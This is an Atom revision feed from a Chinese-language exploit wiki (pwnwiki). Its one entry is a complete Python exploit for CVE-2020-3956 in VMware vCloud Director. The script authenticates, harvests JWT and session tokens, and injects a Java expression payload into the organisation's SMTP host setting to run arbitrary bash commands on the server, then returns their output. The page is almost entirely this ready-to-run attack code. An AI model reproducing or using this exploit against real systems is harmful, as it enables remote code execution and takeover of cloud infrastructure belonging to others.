<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-3956_vCloud_Director_9.7.0.15498291_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-3956 vCloud Director 9.7.0.15498291 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-3956_vCloud_Director_9.7.0.15498291_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-3956_vCloud_Director_9.7.0.15498291_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T23:35:04Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-3956_vCloud_Director_9.7.0.15498291_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1498&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; #!/usr/bin/python # Exploit Title: vCloud Director - Remote Code Execution # Exploit Author: Tomas Melicher # Technical Details: https://citadelo.com/en/blog/ful...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-3956_vCloud_Director_9.7.0.15498291_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1498&amp;oldid=prev"/>
		<updated>2021-04-11T01:12:16Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; #!/usr/bin/python # Exploit Title: vCloud Director - Remote Code Execution # Exploit Author: Tomas Melicher # Technical Details: https://citadelo.com/en/blog/ful...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# Exploit Title: vCloud Director - Remote Code Execution&lt;br /&gt;
# Exploit Author: Tomas Melicher&lt;br /&gt;
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/&lt;br /&gt;
# Date: 2020-05-24&lt;br /&gt;
# Vendor Homepage: https://www.vmware.com/&lt;br /&gt;
# Software Link: https://www.vmware.com/products/cloud-director.html&lt;br /&gt;
# Tested On: vCloud Director 9.7.0.15498291&lt;br /&gt;
# Vulnerability Description: &lt;br /&gt;
#   VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.&lt;br /&gt;
&lt;br /&gt;
import argparse # pip install argparse&lt;br /&gt;
import base64, os, re, requests, sys&lt;br /&gt;
if sys.version_info &amp;gt;= (3, 0):&lt;br /&gt;
    from urllib.parse import urlparse&lt;br /&gt;
else:&lt;br /&gt;
    from urlparse import urlparse&lt;br /&gt;
&lt;br /&gt;
from requests.packages.urllib3.exceptions import InsecureRequestWarning&lt;br /&gt;
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_TEMPLATE = &amp;quot;${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}&amp;quot;&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
&lt;br /&gt;
def login(url, username, password, verbose):&lt;br /&gt;
	target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)&lt;br /&gt;
	res = session.get(target_url)&lt;br /&gt;
	match = re.search(r'tenant:([^&amp;quot;]+)', res.content, re.IGNORECASE)&lt;br /&gt;
	if match:&lt;br /&gt;
		tenant = match.group(1)&lt;br /&gt;
	else:&lt;br /&gt;
		print('[!] can\'t find tenant identifier')&lt;br /&gt;
		return (None,None,None,None)&lt;br /&gt;
&lt;br /&gt;
	if verbose:&lt;br /&gt;
		print('[*] tenant: %s'%(tenant))&lt;br /&gt;
&lt;br /&gt;
	match = re.search(r'security_check\?[^&amp;quot;]+', res.content, re.IGNORECASE)&lt;br /&gt;
	if match:																			# Cloud Director 9.*&lt;br /&gt;
		login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))&lt;br /&gt;
		res = session.post(login_url, data={'username':username,'password':password})&lt;br /&gt;
		if res.status_code == 401:&lt;br /&gt;
			print('[!] invalid credentials')&lt;br /&gt;
			return (None,None,None,None)&lt;br /&gt;
	else:																				# Cloud Director 10.*&lt;br /&gt;
		match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)&lt;br /&gt;
		if match:&lt;br /&gt;
			login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))&lt;br /&gt;
			headers = {&lt;br /&gt;
				'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),&lt;br /&gt;
				'Accept': 'application/json;version=29.0',&lt;br /&gt;
				'Content-type': 'application/json;version=29.0'&lt;br /&gt;
			}&lt;br /&gt;
			res = session.post(login_url, headers=headers)&lt;br /&gt;
			if res.status_code == 401:&lt;br /&gt;
				print('[!] invalid credentials')&lt;br /&gt;
				return (None,None,None,None)&lt;br /&gt;
		else:&lt;br /&gt;
			print('[!] url for login form was not found')&lt;br /&gt;
			return (None,None,None,None)&lt;br /&gt;
&lt;br /&gt;
	cookies = session.cookies.get_dict()&lt;br /&gt;
	jwt = cookies['vcloud_jwt']&lt;br /&gt;
	session_id = cookies['vcloud_session_id']&lt;br /&gt;
&lt;br /&gt;
	if verbose:&lt;br /&gt;
		print('[*] jwt token: %s'%(jwt))&lt;br /&gt;
		print('[*] session_id: %s'%(session_id))&lt;br /&gt;
&lt;br /&gt;
	res = session.get(target_url)&lt;br /&gt;
	match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)&lt;br /&gt;
	if match is None:&lt;br /&gt;
		print('[!] organization not found')&lt;br /&gt;
		return (None,None,None,None)&lt;br /&gt;
	organization = match.group(1)&lt;br /&gt;
	if verbose:&lt;br /&gt;
		print('[*] organization name: %s'%(organization))&lt;br /&gt;
&lt;br /&gt;
	match = re.search(r'orgId : \'([^\']+)', res.content)&lt;br /&gt;
	if match is None:&lt;br /&gt;
		print('[!] orgId not found')&lt;br /&gt;
		return (None,None,None,None)&lt;br /&gt;
	org_id = match.group(1)&lt;br /&gt;
	if verbose:&lt;br /&gt;
		print('[*] organization identifier: %s'%(org_id))&lt;br /&gt;
&lt;br /&gt;
	return (jwt,session_id,organization,org_id)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def exploit(url, username, password, command, verbose):&lt;br /&gt;
	(jwt,session_id,organization,org_id) = login(url, username, password, verbose)&lt;br /&gt;
	if jwt is None:&lt;br /&gt;
		return&lt;br /&gt;
&lt;br /&gt;
	headers = {&lt;br /&gt;
		'Accept': 'application/*+xml;version=29.0',&lt;br /&gt;
		'Authorization': 'Bearer %s'%jwt,&lt;br /&gt;
		'x-vcloud-authorization': session_id&lt;br /&gt;
	}&lt;br /&gt;
	admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)&lt;br /&gt;
	res = session.get(admin_url, headers=headers)&lt;br /&gt;
	match = re.search(r'&amp;lt;description&amp;gt;\s*([^&amp;lt;\s]+)', res.content, re.IGNORECASE)&lt;br /&gt;
	if match:&lt;br /&gt;
		version = match.group(1)&lt;br /&gt;
		if verbose:&lt;br /&gt;
			print('[*] detected version of Cloud Director: %s'%(version))&lt;br /&gt;
	else:&lt;br /&gt;
		version = None&lt;br /&gt;
		print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')&lt;br /&gt;
&lt;br /&gt;
	email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)&lt;br /&gt;
&lt;br /&gt;
	payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2&amp;gt;&amp;amp;1'%command))&lt;br /&gt;
	data = '&amp;lt;root:OrgEmailSettings xmlns:root=&amp;quot;http://www.vmware.com/vcloud/v1.5&amp;quot;&amp;gt;&amp;lt;root:IsDefaultSmtpServer&amp;gt;false&amp;lt;/root:IsDefaultSmtpServer&amp;gt;'&lt;br /&gt;
	data += '&amp;lt;root:IsDefaultOrgEmail&amp;gt;true&amp;lt;/root:IsDefaultOrgEmail&amp;gt;&amp;lt;root:FromEmailAddress/&amp;gt;&amp;lt;root:DefaultSubjectPrefix/&amp;gt;'&lt;br /&gt;
	data += '&amp;lt;root:IsAlertEmailToAllAdmins&amp;gt;true&amp;lt;/root:IsAlertEmailToAllAdmins&amp;gt;&amp;lt;root:AlertEmailTo/&amp;gt;&amp;lt;root:SmtpServerSettings&amp;gt;'&lt;br /&gt;
	data += '&amp;lt;root:IsUseAuthentication&amp;gt;false&amp;lt;/root:IsUseAuthentication&amp;gt;&amp;lt;root:Host&amp;gt;%s&amp;lt;/root:Host&amp;gt;&amp;lt;root:Port&amp;gt;25&amp;lt;/root:Port&amp;gt;'%(payload)&lt;br /&gt;
	data += '&amp;lt;root:Username/&amp;gt;&amp;lt;root:Password/&amp;gt;&amp;lt;/root:SmtpServerSettings&amp;gt;&amp;lt;/root:OrgEmailSettings&amp;gt;'&lt;br /&gt;
	res = session.put(email_settings_url, data=data, headers=headers)&lt;br /&gt;
	match = re.search(r'value:\s*\[([^\]]+)\]', res.content)&lt;br /&gt;
&lt;br /&gt;
	if verbose:&lt;br /&gt;
		print('')&lt;br /&gt;
	try:&lt;br /&gt;
		print(base64.b64decode(match.group(1)))&lt;br /&gt;
	except Exception:&lt;br /&gt;
		print(res.content)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')&lt;br /&gt;
parser.add_argument('-v', action='store_true')&lt;br /&gt;
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)&lt;br /&gt;
parser.add_argument('-u', metavar='username', required=True)&lt;br /&gt;
parser.add_argument('-p', metavar='password', required=True)&lt;br /&gt;
parser.add_argument('-c', metavar='command', help='command to execute', default='id')&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
url = urlparse(args.t)&lt;br /&gt;
exploit(url, args.u, args.p, args.c, args.v)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>